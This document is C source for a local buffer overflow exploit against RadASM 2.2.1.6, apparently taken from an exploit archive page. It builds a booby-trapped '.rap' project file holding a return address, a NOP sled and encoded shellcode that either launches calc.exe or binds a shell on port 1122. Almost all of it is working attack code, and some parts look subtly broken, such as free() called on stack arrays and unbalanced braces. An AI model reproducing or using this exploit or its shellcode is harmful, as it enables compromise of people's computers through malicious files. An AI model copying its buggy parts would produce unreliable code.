RadASM – ‘.rap’ file Local Buffer Overflow

#include<stdio.h>

#include<windows.h>

#include<getopt.h>

void gen_random(char*,const int);

void print(char*);

unsigned int getFsize(FILE*,char*);

void buildfile(char*);

int make_bindshell(unsigned short);

void help();

void printshell();

DWORD SearchStream(const char *,size_t,const char *,size_t);

DWORD GetNtosDelta (VOID);

DWORD GetOSVersion (VOID);

DWORD FindRetToEspAddress(VOID);

#define VULNF "ufwew.rap"

#define VER "2.2.1.6"

#define POCNAME "Radasm .rap file local buffer overflow exploit"

#define AUTHOR "fl0 fl0w"

#define IF(x,NULL) if(x==NULL)

#define FOR(i,a,b) for(i=a;i<b;++i)

#define EIPOFFSET 0xDD

#define NOP "\x90\x90\x90\x90\x90" \

"\x90\x90\x90\x90\x90"

#define NUL '\0'

#define CLEAR(x) free(x)

#define WXP_DELTA 0xA67FF;

#define W2K_DELTA 0x0;

#define W2K3_DELTA 0x0;

#define WVISTA_DELTA 0x0;

char file[]={ //1534 bytes

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DWORD g_dwOsVersion = 0;

LPVOID g_PatchAddress = NULL;

typedef BOOL(WINAPI *PENUMDEVICES)(LPVOID*,DWORD ,LPDWORD);

typedef DWORD(WINAPI *PGETDEVNAME)(LPVOID ImageBase,char *lpBaseName,DWORD nSize);

typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);

enum OSes

{

OS_WXP=1,

OS_W2K,

OS_W2K3,

OS_VISTA

};

typedef enum{

True=1,

False=0,

Error=-1

}boolean;

struct{

char* sname;

int sz;

char* shell;

}use[]={

{"calc.exe",338,

"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"

"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x37\x6a\x63"

"\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x41\x42\x32\x42\x41\x32"

"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x38\x69\x69\x6c\x38"

"\x68\x41\x54\x77\x70\x57\x70\x75\x50\x6e\x6b\x41\x55\x55\x6c\x6e"

"\x6b\x43\x4c\x66\x65\x41\x68\x45\x51\x58\x6f\x4c\x4b\x50\x4f\x62"

"\x38\x6e\x6b\x41\x4f\x31\x30\x36\x61\x4a\x4b\x41\x59\x6c\x4b\x74"

"\x74\x6e\x6b\x44\x41\x4a\x4e\x47\x41\x4b\x70\x6f\x69\x6c\x6c\x4c"

"\x44\x4b\x70\x43\x44\x76\x67\x4b\x71\x4a\x6a\x66\x6d\x66\x61\x39"

"\x52\x5a\x4b\x4a\x54\x75\x6b\x62\x74\x56\x44\x73\x34\x41\x65\x4b"

"\x55\x4e\x6b\x73\x6f\x54\x64\x53\x31\x6a\x4b\x35\x36\x6c\x4b\x64"

"\x4c\x30\x4b\x6c\x4b\x73\x6f\x57\x6c\x75\x51\x6a\x4b\x6c\x4b\x37"

"\x6c\x6c\x4b\x77\x71\x68\x6b\x4c\x49\x71\x4c\x51\x34\x43\x34\x6b"

"\x73\x46\x51\x79\x50\x71\x74\x4c\x4b\x67\x30\x36\x50\x4c\x45\x4b"

"\x70\x62\x58\x74\x4c\x6c\x4b\x53\x70\x56\x6c\x4e\x6b\x34\x30\x47"

"\x6c\x4e\x4d\x6c\x4b\x70\x68\x37\x78\x58\x6b\x53\x39\x6c\x4b\x4f"

"\x70\x6c\x70\x53\x30\x43\x30\x73\x30\x6c\x4b\x42\x48\x77\x4c\x61"

"\x4f\x44\x71\x6b\x46\x73\x50\x72\x76\x6b\x39\x5a\x58\x6f\x73\x4f"

"\x30\x73\x4b\x56\x30\x31\x78\x61\x6e\x6a\x78\x4b\x52\x74\x33\x55"

"\x38\x4a\x38\x69\x6e\x6c\x4a\x54\x4e\x52\x77\x79\x6f\x79\x77\x42"

"\x43\x50\x61\x70\x6c\x41\x73\x64\x6e\x51\x75\x52\x58\x31\x75\x57\x70\x63"},

{

"Bind port 1122",709,

"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"

"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"

"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"

"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"

"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"

"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48"

"\x4e\x36\x46\x52\x46\x32\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x37"

"\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x48"

"\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"

"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"

"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"

"\x46\x4f\x4b\x33\x46\x45\x46\x32\x4a\x32\x45\x37\x45\x4e\x4b\x48"

"\x4f\x55\x46\x32\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x44"

"\x4b\x58\x4f\x45\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58"

"\x49\x38\x4e\x36\x46\x52\x4e\x41\x41\x56\x43\x4c\x41\x33\x4b\x4d"

"\x46\x56\x4b\x38\x43\x34\x42\x53\x4b\x38\x42\x44\x4e\x30\x4b\x48"

"\x42\x47\x4e\x51\x4d\x4a\x4b\x58\x42\x34\x4a\x30\x50\x45\x4a\x46"

"\x50\x38\x50\x44\x50\x30\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56"

"\x43\x55\x48\x36\x4a\x36\x43\x33\x44\x33\x4a\x46\x47\x57\x43\x57"

"\x44\x43\x4f\x45\x46\x35\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"

"\x4e\x4f\x4b\x43\x42\x45\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e"

"\x48\x46\x41\x38\x4d\x4e\x4a\x50\x44\x50\x45\x35\x4c\x56\x44\x30"

"\x4f\x4f\x42\x4d\x4a\x36\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x55"

"\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x45\x43\x35\x43\x35\x43\x44"

"\x43\x35\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x36\x46\x50"

"\x44\x36\x48\x36\x43\x35\x49\x38\x41\x4e\x45\x49\x4a\x36\x46\x4a"

"\x4c\x51\x42\x47\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31"

"\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"

"\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d"

"\x4a\x36\x45\x4e\x49\x44\x48\x58\x49\x54\x47\x55\x4f\x4f\x48\x4d"

"\x42\x55\x46\x35\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"

"\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x35"

"\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x46\x43\x56"

"\x4d\x36\x49\x38\x45\x4e\x4c\x36\x42\x35\x49\x45\x49\x32\x4e\x4c"

"\x49\x38\x47\x4e\x4c\x56\x46\x34\x49\x58\x44\x4e\x41\x43\x42\x4c"

"\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x54\x4e\x52"

"\x43\x39\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56"

"\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f"

"\x48\x4d\x4b\x45\x47\x55\x44\x45\x41\x45\x41\x35\x41\x45\x4c\x56"

"\x41\x50\x41\x45\x41\x55\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x36"

"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36"

"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f"

"\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"

"\x4a\x56\x42\x4f\x4c\x38\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d"

"\x4f\x4f\x42\x4d\x5a"

},

{NUL,NUL}

};

struct{

unsigned int code;

}usez;

DWORD ret;

int S;

int main(int argc,char* argv[]){

ret=FindRetToEspAddress();//default eip

if(argc<2){

system("cls");

help();

GetNtosDelta();

printshell();

printf("[^]The default retcode is :0x%X",ret);

exit(0);}

printf("[!]%s\n[!]%s\n[!]By %s\n",POCNAME,VER,AUTHOR);

int opt;

while((opt=getopt(argc,argv,"s:t"))!=-1){

switch(opt){

case 's':

S=atoi(optarg);

break;

case 't':

sscanf(argv[4],"%x",&ret);

break;

default:

help();

}}

buildfile(VULNF);

printf("[#]You selected: %s\n",use[S].sname);

print("DONE!");

getchar();

return 0;

}

void buildfile(char* fname){

char buffer[100000];

gen_random(buffer,5000);

memcpy(buffer,file,strlen(file));

memcpy(buffer+292,&ret,4);

memcpy(buffer+312,NOP,10);

memcpy(buffer+322,use[S].shell,strlen(use[S].shell));

printf("[#]Your Retcode is: 0x%X\n",ret);

FILE* f=fopen(fname,"wb");

if(f){

fwrite(buffer,1,1534,f);

fclose(f);

}

else {

print("Error in writing file");

exit(0);

}

free(buffer);

free(file);

int sz=getFsize(f,fname);

printf("[!]File is %d bytes\n",sz);

}

void help()

{ char h[]="************************************************\n"

"*Radasm .rap file local buffer overflow exploit*\n"

"*syntax: [-h<shellcode>] [-t<your target>] *\n"

"* -s shellcode to run 0 or 1 *\n"

"* -t your target *\n"

"* example: radasm.exe -s 0 -t 0xFFFFFFFF *\n"

"* If you want a retcode default from your *\n"

"* memory don't use -t option *\n"

"************************************************\n";

printf("%s",h);}

void printshell()

{ print("We can use:");

int i;

FOR(i,0,2){

printf("[!] %d. %s of size: %d bytes\n",i,use[i].sname,strlen(use[i].shell)); }

}

DWORD GetOSVersion (VOID)

{

OSVERSIONINFOA osvi;

DWORD retval = 0;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);

if(GetVersionExA(&osvi))

{ if(osvi.dwMajorVersion==5)

{

switch(osvi.dwMinorVersion)

{

case 0:

retval=OS_W2K;

break;

case 1:

retval=OS_WXP;

break;

case 2:

retval=OS_W2K3;

break;

}

else if(osvi.dwMajorVersion==6)

{retval=OS_VISTA;

}

g_dwOsVersion=retval;

return retval;

}

DWORD GetNtosDelta (VOID)

{ DWORD retval = 0;

switch(GetOSVersion())

{

case OS_VISTA:

print("System identified as Windows Vista\n");

retval=WVISTA_DELTA;

break;

case OS_W2K:

print("System identified as Windows 2000\n");

retval=W2K_DELTA;

break;

case OS_W2K3:

print("System identified as Windows 2003\n");

retval=W2K3_DELTA;

break;

case OS_WXP:

print("System identified as Windows XP\n");

retval=WXP_DELTA;

break;

default:

print("Unidentified system!\n");

}

return retval;

}

DWORD SearchStream(

const char *pvStream,

size_t uStreamSize,

const char *pvSubStream,

size_t uSubStreamSize)

{unsigned int uCount = 0,i,j;

while( (uStreamSize) > (uCount) ) {

for(i=0;i<=(uSubStreamSize-1);i++) {

if(*pvStream != pvSubStream[i]) {

*pvStream++;

if( i>0 ) {

for(j=0;j<i;j++)

*pvStream--;

}

break;

}

if(i==(uSubStreamSize-1))

return(uCount);

*pvStream++;

}

uCount++;

}

return -1;

}

DWORD FindRetToEspAddress(VOID)

{HMODULE hModule = GetModuleHandle("kernel32.dll");

DWORD dwEspRet;

char* pszCallEsp = "\xFF\xD4";

PIMAGE_DOS_HEADER pimage_dos_header;

PIMAGE_NT_HEADERS pimage_nt_headers;

pimage_dos_header = (PIMAGE_DOS_HEADER)hModule;

pimage_nt_headers = (PIMAGE_NT_HEADERS)((DWORD)hModule+pimage_dos_header->e_lfanew);

dwEspRet = SearchStream((char*)hModule,pimage_nt_headers->OptionalHeader.SizeOfImage,pszCallEsp,sizeof(WORD));

return (dwEspRet += (DWORD)hModule);

}

unsigned int getFsize(FILE* g,char* gname)

{unsigned int s;

g=fopen(gname,"rb");

IF(g,NULL)

{

print("File error at reading");

exit(0);

}

fseek(g,0,SEEK_END);

s=ftell(g);

return s;}

void print(char* msg)

{

printf("[*]%s\n",msg);

}

void gen_random(char *s, const int len)

{ int i; //helps u find the offsets

static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

FOR(i,0,len)

{

s[i]=alphanum[rand()%(sizeof(alphanum)-1)];

}

s[len]=0;

}

相关漏洞条目

ZTE H298A / H108N – Unauthenticated Credential Exposure

ZTE ZXHN H188A V6 – Authentication Bypass

ZTE Routers – Unauthenticated Denial of Service

ImageMagick – Infinite Loop in the MIFF decoder can lead to CPU exhaustion